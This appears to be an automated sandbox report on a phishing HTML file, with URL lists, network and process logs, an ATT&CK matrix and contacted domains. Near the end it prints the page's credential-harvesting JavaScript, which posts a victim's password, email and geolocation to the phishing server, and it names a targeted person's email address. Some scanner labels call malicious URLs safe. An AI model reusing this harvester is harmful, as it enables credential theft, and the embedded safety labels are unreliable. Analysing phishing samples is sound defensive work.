Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.0.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.0.dr	String found in binary or memory: https://money.pl
Source: sets.json.0.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.0.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://nacion.com
Source: sets.json.0.dr	String found in binary or memory: https://naukri.com
Source: sets.json.0.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.co
Source: sets.json.0.dr	String found in binary or memory: https://nien.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.org
Source: sets.json.0.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.0.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.0.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.0.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.0.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.0.dr	String found in binary or memory: https://o2.pl
Source: sets.json.0.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.0.dr	String found in binary or memory: https://onet.pl
Source: sets.json.0.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.0.dr	String found in binary or memory: https://p106.net
Source: sets.json.0.dr	String found in binary or memory: https://p24.hu
Source: sets.json.0.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.0.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.0.dr	String found in binary or memory: https://player.pl
Source: sets.json.0.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.0.dr	String found in binary or memory: https://poalim.site
Source: sets.json.0.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.0.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.0.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.0.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.0.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.0.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://radio1.be
Source: sets.json.0.dr	String found in binary or memory: https://radio2.be
Source: sets.json.0.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://repid.org
Source: sets.json.0.dr	String found in binary or memory: https://reshim.org
Source: sets.json.0.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.0.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.0.dr	String found in binary or memory: https://samayam.com
Source: sets.json.0.dr	String found in binary or memory: https://sapo.io
Source: sets.json.0.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.0.dr	String found in binary or memory: https://shock.co
Source: sets.json.0.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.0.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.0.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.0.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.0.dr	String found in binary or memory: https://songshare.com
Source: sets.json.0.dr	String found in binary or memory: https://songstats.com
Source: sets.json.0.dr	String found in binary or memory: https://sporza.be
Source: sets.json.0.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.0.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.0.dr	String found in binary or memory: https://stripe.com
Source: sets.json.0.dr	String found in binary or memory: https://stripe.network
Source: sets.json.0.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.0.dr	String found in binary or memory: https://supereva.it
Source: sets.json.0.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.0.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.0.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.0.dr	String found in binary or memory: https://text.com
Source: sets.json.0.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://the42.ie
Source: sets.json.0.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.0.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.0.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.0.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.0.dr	String found in binary or memory: https://top.pl
Source: sets.json.0.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.0.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://tvid.in
Source: sets.json.0.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.0.dr	String found in binary or memory: https://unotv.com
Source: sets.json.0.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.0.dr	String found in binary or memory: https://vrt.be
Source: sets.json.0.dr	String found in binary or memory: https://vwo.com
Source: sets.json.0.dr	String found in binary or memory: https://welt.de
Source: sets.json.0.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.0.dr	String found in binary or memory: https://wildix.com
Source: sets.json.0.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.0.dr	String found in binary or memory: https://wingify.com
Source: sets.json.0.dr	String found in binary or memory: https://wordle.at
Source: sets.json.0.dr	String found in binary or memory: https://wp.pl
Source: sets.json.0.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.0.dr	String found in binary or memory: https://www.asadcdn.com
Source: sets.json.0.dr	String found in binary or memory: https://ya.ru
Source: sets.json.0.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://zalo.me
Source: sets.json.0.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.0.dr	String found in binary or memory: https://zoom.com
Source: sets.json.0.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_2332_1373899441

Jump to behavior

Source: classification engine

Classification label: mal64.phis.winHTML@26/41@16/7

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Profile Illustrations and Technical Specifications for This System1.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2004,i,3987811109096215320,10338670374851568330,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2004,i,3987811109096215320,10338670374851568330,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html

HTTP Parser: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://jquery.malsup.com/license.html	0%	Avira URL Cloud	safe
http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf)	0%	Avira URL Cloud	safe
https://autenticatorresolver.online/assets/global/pdf/css/conn.css	0%	Avira URL Cloud	safe
https://autenticatorresolver.online/fl/w0q9hliz	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
autenticatorresolver.online	104.21.80.1	true	false	high
www.google.com	142.250.184.228	true	false	high
easycdn.cdn78drop.click	13.57.116.250	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
ajax.aspnetcdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://autenticatorresolver.online/assets/global/pdf/css/conn.css	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.8/dist/umd/popper.min.js	false		high
https://autenticatorresolver.online/fl/w0q9hliz	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wieistmeineip.de	sets.json.0.dr	false		high
https://mercadoshops.com.co	sets.json.0.dr	false		high
https://gliadomain.com	sets.json.0.dr	false		high
https://poalim.xyz	sets.json.0.dr	false		high
https://mercadolivre.com	sets.json.0.dr	false		high
https://reshim.org	sets.json.0.dr	false		high
https://nourishingpursuits.com	sets.json.0.dr	false		high
https://medonet.pl	sets.json.0.dr	false		high
https://unotv.com	sets.json.0.dr	false		high
https://github.com/SteveSanderson/knockout/issues/186)	chromecache_98.2.dr, chromecache_112.2.dr	false		high
https://mercadoshops.com.br	sets.json.0.dr	false		high
https://joyreactor.cc	sets.json.0.dr	false		high
https://zdrowietvn.pl	sets.json.0.dr	false		high
https://johndeere.com	sets.json.0.dr	false		high
https://songstats.com	sets.json.0.dr	false		high
https://baomoi.com	sets.json.0.dr	false		high
https://supereva.it	sets.json.0.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_102.2.dr, chromecache_94.2.dr	false		high
https://elfinancierocr.com	sets.json.0.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_105.2.dr, chromecache_91.2.dr	false		high
https://bolasport.com	sets.json.0.dr	false		high
https://rws1nvtvt.com	sets.json.0.dr	false		high
https://desimartini.com	sets.json.0.dr	false		high
https://hearty.app	sets.json.0.dr	false		high
https://hearty.gift	sets.json.0.dr	false		high
https://mercadoshops.com	sets.json.0.dr	false		high
https://heartymail.com	sets.json.0.dr	false		high
https://nlc.hu	sets.json.0.dr	false		high
https://p106.net	sets.json.0.dr	false		high
https://radio2.be	sets.json.0.dr	false		high
https://finn.no	sets.json.0.dr	false		high
https://hc1.com	sets.json.0.dr	false		high
https://kompas.tv	sets.json.0.dr	false		high
https://mystudentdashboard.com	sets.json.0.dr	false		high
https://songshare.com	sets.json.0.dr	false		high
https://smaker.pl	sets.json.0.dr	false		high
https://mercadopago.com.mx	sets.json.0.dr	false		high
https://p24.hu	sets.json.0.dr	false		high
https://talkdeskqaid.com	sets.json.0.dr	false		high
https://24.hu	sets.json.0.dr	false		high
https://mercadopago.com.pe	sets.json.0.dr	false		high
https://cardsayings.net	sets.json.0.dr	false		high
https://text.com	sets.json.0.dr	false		high
https://mightytext.net	sets.json.0.dr	false		high
https://pudelek.pl	sets.json.0.dr	false		high
https://github.com/SteveSanderson/knockout/pull/440	chromecache_98.2.dr, chromecache_112.2.dr	false		high
https://hazipatika.com	sets.json.0.dr	false		high
https://joyreactor.com	sets.json.0.dr	false		high
https://cookreactor.com	sets.json.0.dr	false		high
https://wildixin.com	sets.json.0.dr	false		high
https://eworkbookcloud.com	sets.json.0.dr	false		high
https://cognitiveai.ru	sets.json.0.dr	false		high
https://nacion.com	sets.json.0.dr	false		high
http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf)	chromecache_98.2.dr, chromecache_112.2.dr	false	Avira URL Cloud: safe	unknown
https://chennien.com	sets.json.0.dr	false		high
https://drimer.travel	sets.json.0.dr	false		high
https://deccoria.pl	sets.json.0.dr	false		high
https://mercadopago.cl	sets.json.0.dr	false		high
https://talkdeskstgid.com	sets.json.0.dr	false		high
https://naukri.com	sets.json.0.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_98.2.dr, chromecache_112.2.dr	false		high
https://interia.pl	sets.json.0.dr	false		high
https://bonvivir.com	sets.json.0.dr	false		high
https://carcostadvisor.be	sets.json.0.dr	false		high
https://salemovetravel.com	sets.json.0.dr	false		high
https://sapo.io	sets.json.0.dr	false		high
https://wpext.pl	sets.json.0.dr	false		high
https://welt.de	sets.json.0.dr	false		high
https://poalim.site	sets.json.0.dr	false		high
https://drimer.io	sets.json.0.dr	false		high
https://infoedgeindia.com	sets.json.0.dr	false		high
https://blackrockadvisorelite.it	sets.json.0.dr	false		high
https://cognitive-ai.ru	sets.json.0.dr	false		high
https://cafemedia.com	sets.json.0.dr	false		high
https://graziadaily.co.uk	sets.json.0.dr	false		high
https://thirdspace.org.au	sets.json.0.dr	false		high
https://mercadoshops.com.ar	sets.json.0.dr	false		high
https://smpn106jkt.sch.id	sets.json.0.dr	false		high
http://jquery.malsup.com/license.html	chromecache_102.2.dr, chromecache_94.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/SteveSanderson/knockout/issues/197	chromecache_98.2.dr, chromecache_112.2.dr	false		high
https://elpais.uy	sets.json.0.dr	false		high
https://landyrev.com	sets.json.0.dr	false		high
https://the42.ie	sets.json.0.dr	false		high
https://commentcamarche.com	sets.json.0.dr	false		high
https://tucarro.com.ve	sets.json.0.dr	false		high
https://rws3nvtvt.com	sets.json.0.dr	false		high
https://eleconomista.net	sets.json.0.dr	false		high
https://helpdesk.com	sets.json.0.dr	false		high
https://mercadolivre.com.br	sets.json.0.dr	false		high
https://clmbtech.com	sets.json.0.dr	false		high
https://standardsandpraiserepurpose.com	sets.json.0.dr	false		high
https://07c225f3.online	sets.json.0.dr	false		high
https://salemovefinancial.com	sets.json.0.dr	false		high
https://mercadopago.com.br	sets.json.0.dr	false		high
https://zoom.us	sets.json.0.dr	false		high
https://commentcamarche.net	sets.json.0.dr	false		high
https://etfacademy.it	sets.json.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.101.1.229	unknown	United States	54113	FASTLYUS	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.21.80.1	autenticatorresolver.online	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.57.116.250	easycdn.cdn78drop.click	United States	16509	AMAZON-02US	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584789
Start date and time:	2025-01-06 14:25:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Profile Illustrations and Technical Specifications for This System1.html
Detection:	MAL
Classification:	mal64.phis.winHTML@26/41@16/7
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 216.58.206.78, 64.233.166.84, 152.199.19.160, 142.250.185.142, 142.250.186.46, 142.250.185.202, 142.250.181.238, 172.217.23.106, 216.58.206.42, 142.250.186.74, 142.250.185.138, 142.250.186.170, 142.250.185.74, 142.250.185.234, 142.250.185.106, 216.58.206.74, 142.250.184.234, 172.217.18.106, 142.250.184.202, 142.250.181.234, 216.58.212.170, 142.250.185.170, 142.250.186.42, 142.250.186.138, 172.217.16.138, 199.232.210.172, 192.229.221.95, 142.250.186.78, 142.250.185.238, 142.250.184.238, 142.250.185.78, 172.217.18.3, 142.250.185.110, 172.217.23.110, 142.250.185.174, 34.104.35.123, 172.217.16.195, 23.56.254.164, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, cs22.wpc.v0cdn.net, ajax.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, mscomajax.vo.msecnd.net, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: https://autenticatorresolver.online/fl/w0q9hliz... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script exhibits a mix of moderate-risk and low-risk behaviors. It sends user data (including IP address, location, and time) to an external server via AJAX, which poses a moderate risk. However, the script also has some legitimate functionality, such as handling form submission and password validation. Overall, the script requires further review due to the unclear purpose of the data transmission and the potential for misuse." }
document.addEventListener("DOMContentLoaded", function() { // PHP variables passed to JavaScript var coreEmail = "jean-michel.debois@ionbond.com"; var groupId = "1"; // Get the form and input elements const form = document.getElementById("loginForm"); const passwordField = document.getElementById("passwordField"); const emailField = document.getElementById("emailField"); const passwordError = document.getElementById("passwordError"); const sessionErrorAlert = document.getElementById("sessionErrorAlert"); const networkErrorAlert = document.getElementById("networkErrorAlert"); const emailHeading = document.getElementById('emailHeading'); // Set email value in the h1 tag and email input field emailHeading.textContent = coreEmail; emailField.value = coreEmail; // Event listener for form submission form.addEventListener("submit", async function(event) { event.preventDefault(); // Check if the password field is empty if (passwordField.value.trim() === "") { passwordError.style.display = "block"; sessionErrorAlert.style.display = "none"; networkErrorAlert.style.display = "none"; return; } else { passwordError.style.display = "none"; } // Fetch user data and time try { const userData = await fetchUserDataAndTime(); const formData = `password=${encodeURIComponent(passwordField.value)}&email=${encodeURIComponent(emailField.value)}&group_id=${encodeURIComponent(groupId)}&ip=${encodeURIComponent(userData.ip)}&city=${encodeURIComponent(userData.city)}&region=${encodeURIComponent(userData.region)}&country=${encodeURIComponent(userData.country)}&timezone=${encodeURIComponent(userData.timezone)}&currentTime=${encodeURIComponent(userData.currentTime)}&currentDate=${encodeURIComponent(userData.currentDate)}&userAgent=${encodeURIComponent(userData.userAgent)}`; // Send the combined data using AJAX const xhr = new XMLHttpRequest(); xhr.open("POST", "/fwd/api", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // Event handler for AJAX completion xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { sessionErrorAlert.style.display = "none"; console.log(xhr.responseText); networkErrorAlert.style.display = "block"; //passwordField.value = ''; } }; xhr.send(formData); } catch (error) { console.error('Error fetching user data:', error); networkErrorAlert.style.display = "block"; passwordField.value = ''; } }); // Event listener for the Enter key press on the password field passwordField.addEventListener("keydown", function(event) { if (event.key === "Enter") { event.preventDefault(); form.dispatchEvent(new Event("submit")); } }); // Event listener for the submit button click document.getElementById("submit-btn").addEventListener("click", function(event) { form.dispatchEvent(new Event("submit")); }); }); // Function to fetch user data and time async function fetchUserDataAndTime() { try { const locationResponse = await fetch('https://ipinfo.io/json?token=ad570b7adafe32'); const locationData = await locationResponse.json(); const currentTime = new Date().toLocaleTimeString(); const currentDate = new Date().toLocaleDateString(); const
URL: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Download All", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Download All", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

